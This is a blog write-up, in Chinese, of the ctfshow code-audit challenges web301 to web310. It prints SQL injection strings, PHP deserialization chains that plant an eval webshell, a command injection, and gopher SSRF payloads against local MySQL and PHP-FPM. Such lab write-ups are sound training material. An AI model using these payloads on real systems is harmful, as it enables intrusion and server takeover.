本文最后更新于:2023年8月25日 下午
[TOC]
【ctfshow】代码审计
web301
审计一下,存在sql注入漏洞,我们使用union:
让输入的密码与查询出来的密码相等即可
web302
修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
1 2 3
| function sds_decode($str){ return md5(md5($str.md5(base64_encode("sds")))."sds"); }
|
当 $userpwd=1
时: sds_decode($userpwd) = d9c77c4e454869d5d8da3b4be79694d3
因此,我们只需要密码传参:1,然后用户名使用联合查询:
1
| ' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
|
注意需要将数字使用单引号包裹起来
web303
这一题用户名长度增加了限制,小于6位,
但是从sql表中找到一条数据:
1
| INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
|
admin
经过 sds_decode()
函数加密刚好为:27151b7b1ad51a38ea66b1529cde5ee4
因此可以直接登录进去 admin admin
注入点:dptadd.php
然后会在:dpt.php
回显出来
典型的二次注入
我们这样注入:查询库名
查表名:
1
| ',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#1
|
查列名:
1
| ',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#1
|
flag
查数据:
1
| ',sds_address=(select flag from sds_fl9g)#
|
web304
增加了全局waf
1 2 3
| function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str); }
|
同上
web305
这一题给插入的数据使用了waf,不能走sql注入了
1 2 3 4 5 6 7
| function sds_waf($str){ if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){ return false; }else{ return true; } }
|
我们在 class.php
中发现可利用的点
1 2 3 4 5 6 7 8 9 10 11
| class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } }
|
析构方法可以写入文件。
在checklogin.php
发现反序列化
因此我们构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class user{ public $username; public $password;
}
$a = new user(); $a->username="1.php"; $a->password='<?php eval($_POST[1]);?>';
echo serialize($a);
O:4:"user":2:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
|
cookie传参(注意url编码)
然后就可以使用蚁剑连接了,
但是flag存在数据库中:
web306
开始使用mvc结构
在class.php中发现:
1 2 3 4 5 6 7 8 9 10
| class log{ public $title='log.txt'; public $info=''; public function loginfo($info){ $this->info=$this->info.$info; } public function close(){ file_put_contents($this->title, $this->info); } }
|
我们可以利用 file_put_contents()
写入一句话木马
但是我们需要想办法调用 close()
方法
在dao.php中发现:
1 2 3 4 5 6 7 8 9 10 11
| class dao{ private $config; private $conn;
... public function __destruct(){ $this->conn->close(); }
... }
|
dao类的析构方法会调用 close方法,所以我们只需要将$conn
改为log类对象即可
然后在index.php中发现反序列化:
1 2 3 4 5 6 7 8 9
| <?php session_start(); require "conn.php"; require "dao.php"; $user = unserialize(base64_decode($_COOKIE['user'])); if(!$user){ header("location:login.php"); } ?>
|
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
class log{ public $title='1.php'; public $info='<?php eval($_POST[1]);?>';
}
class dao { private $conn;
public function __construct() { $this->conn = new log(); } } $d = new dao(); echo base64_encode(serialize(new dao()));
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
|
传参:
蚁剑连接拿flag
web307
这一题不会调用那个方法了,我们放弃
dao.php中出现可以命令执行的利用点:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class dao{ private $config; private $conn;
public function __construct(){ $this->config=new config(); $this->init(); } public function clearCache(){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); }
}
|
config.php
1 2 3
| class config{ public $cache_dir = 'cache'; }
|
在logout.php中可以利用:
1 2 3 4 5 6 7 8
| <?php
$service = unserialize(base64_decode($_COOKIE['service'])); if($service){ $service->clearCache(); }
?>
|
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class config{ public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;';
} class dao{ private $config; public function __construct(){ $this->config=new config(); }
} $a=new dao(); echo base64_encode(serialize($a)); ?>
|
web308
需要拿shell
这一题clearCache()
过滤了很多,我们放弃
我们在fun.php
中发现:
1 2 3 4 5 6 7 8 9 10 11 12
| function checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $res = curl_exec($ch); curl_close($ch); return $res; }
|
curl
存在ssrf漏洞
然后该函数被:dao.php
checkVersion()
函数调用:
1 2 3
| public function checkVersion(){ return checkUpdate($this->config->update_url); }
|
然后 该函数又在index.php
中被调用:
就形成了一条pop链
然后我们看到 config.php
中:
使用mysql数据库,用户名:root,又没有密码,
所以我们可以使用ssrf利用gopher协议打mysql去写入木马。我们使用 Gopherus
:
然后构造脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class dao { private $config; public function __construct() { $this->config = new config(); } } class config { public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%27%3b%01%00%00%00%01'; }
$d = new dao(); echo base64_encode(serialize($d));
|
cookie传参:
命令执行即可:
web309
需要拿shell,308的方法不行了,mysql 有密码了
由于mysql有密码了,
SSRF利用gopher协议打mysql数据库是只能在无密码的情况下进行的,所以上题的方法失效了
不能打mysql
,那我们只能测试一下redis
和fastcgi
,由于我们使用的是mysql
所以只需测试fastcgi
即可
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令
1 2 3 4
| FastCGI攻击需要满足三个条件: 1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件 2. 知道题目环境中的一个PHP文件的绝对路径 3.PHP-FPM监听在本机9000端口
|
使用gopherus
脚本利用fastcgi
,我们需要知道服务器上存在的一个文件(最好是php)
在安装完php后会存在一个自带php文件: /usr/local/lib/php/PEAR.php
/usr/local/lib/php/PEAR.php
是一个文件路径,指向位于 Unix-like 系统中的 PHP PEAR(PHP Extension and Application Repository)库的文件。
PEAR 是一个第三方的 PHP 库和软件包管理系统,用于在 PHP 中方便地安装、升级和管理可重用的代码库。PEAR.php
文件是 PEAR 库的核心文件之一,它提供了用于加载和使用 PEAR 功能的函数和类。
通过包含 PEAR.php
文件,开发人员可以使用 PEAR 提供的功能和组件,例如自动加载类、安装和管理软件包、错误处理和日志记录等。它是 PEAR 库的入口点之一,其他的核心文件和组件也会在需要时被加载。
需要注意的是,/usr/local/lib/php/PEAR.php
是一个默认的路径示例,实际安装 PEAR 库的路径可能会有所不同,具体取决于系统和安装设置。
使用sleep命令测试一下存在延迟,
经过测试,存在延迟,所以我们可以利用fastcgi去执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class dao { private $config; public function __construct() { $this->config = new config(); } } class config { public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'; }
$d = new dao(); echo base64_encode(serialize($d));
|
然后传参
web310
经过测试,fastcgi的端口9000还是开放的,可以延迟,但是我们却读取不出flag了
我们先查找一下flag的路径:
发现flag在 /var/flag
下:
但是我们去读取还是读不出来
nginx.conf
和 FastCGI 在 Nginx 中有密切的关系。下面是它们之间的关系解释:
Nginx 配置文件 (nginx.conf
): nginx.conf
是 Nginx 的主配置文件,用于定义服务器的行为和功能。在 nginx.conf
文件中,可以配置 Nginx 服务器的全局设置、虚拟主机配置、代理规则、缓存设置等。这个文件是 Nginx 的核心配置文件,决定了服务器的整体行为。
FastCGI: FastCGI 是一种用于处理动态内容的通信协议。它允许 Web 服务器(如 Nginx)与后端应用程序(如 PHP、Python、Ruby 等)进行通信。FastCGI 帮助提高服务器性能,通过长连接、进程管理和请求复用等机制,减少了每个请求启动新进程的开销。
Nginx 与 FastCGI: Nginx 作为一个高性能的 Web 服务器,常用于代理和反向代理后端的 FastCGI 应用程序。当 Nginx 接收到来自客户端的请求时,它可以通过配置将请求转发给 FastCGI 后端,由 FastCGI 进程处理动态内容的生成。通过 Nginx 和 FastCGI 的结合,可以有效地处理动态请求,并将静态和动态内容进行分离,提高服务器的性能和可扩展性。
在 nginx.conf
文件中,你可以使用 location
块来配置 Nginx 如何处理 FastCGI 请求。例如,你可以指定 FastCGI 后端的地址和端口、请求超时时间、缓存策略等。通过这些配置,Nginx 将能够将动态请求转发给 FastCGI 后端,并将响应返回给客户端。
总结来说,nginx.conf
是 Nginx 的主配置文件,定义了服务器的行为和功能,而 FastCGI 是一种通信协议,用于处理动态内容。Nginx 可以通过配置文件与 FastCGI 后端进行通信,实现动态内容的处理和分发。
这里我们可以先读取一下 nginx 服务器配置文件:nginx.conf
我们先查找一下路径:
发现在:/etc/nginx/nginx.conf
路径下
于是我们读取它:
nginx.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ...
http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65;
... server { listen 4476; server_name localhost; root /var/flag; index index.html;
proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }
|
在nginx配置文件中,我们发现,配置了端口为 4476 的http服务,并且该服务的根目录为:/var/flag
因此,我们可以直接构造一个http请求,去请求本机的4476端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
class dao { private $config; public function __construct() { $this->config = new config(); } } class config { public $update_url = 'http://127.0.0.1:4476'; }
$d = new dao(); echo base64_encode(serialize($d));
|
传参得flag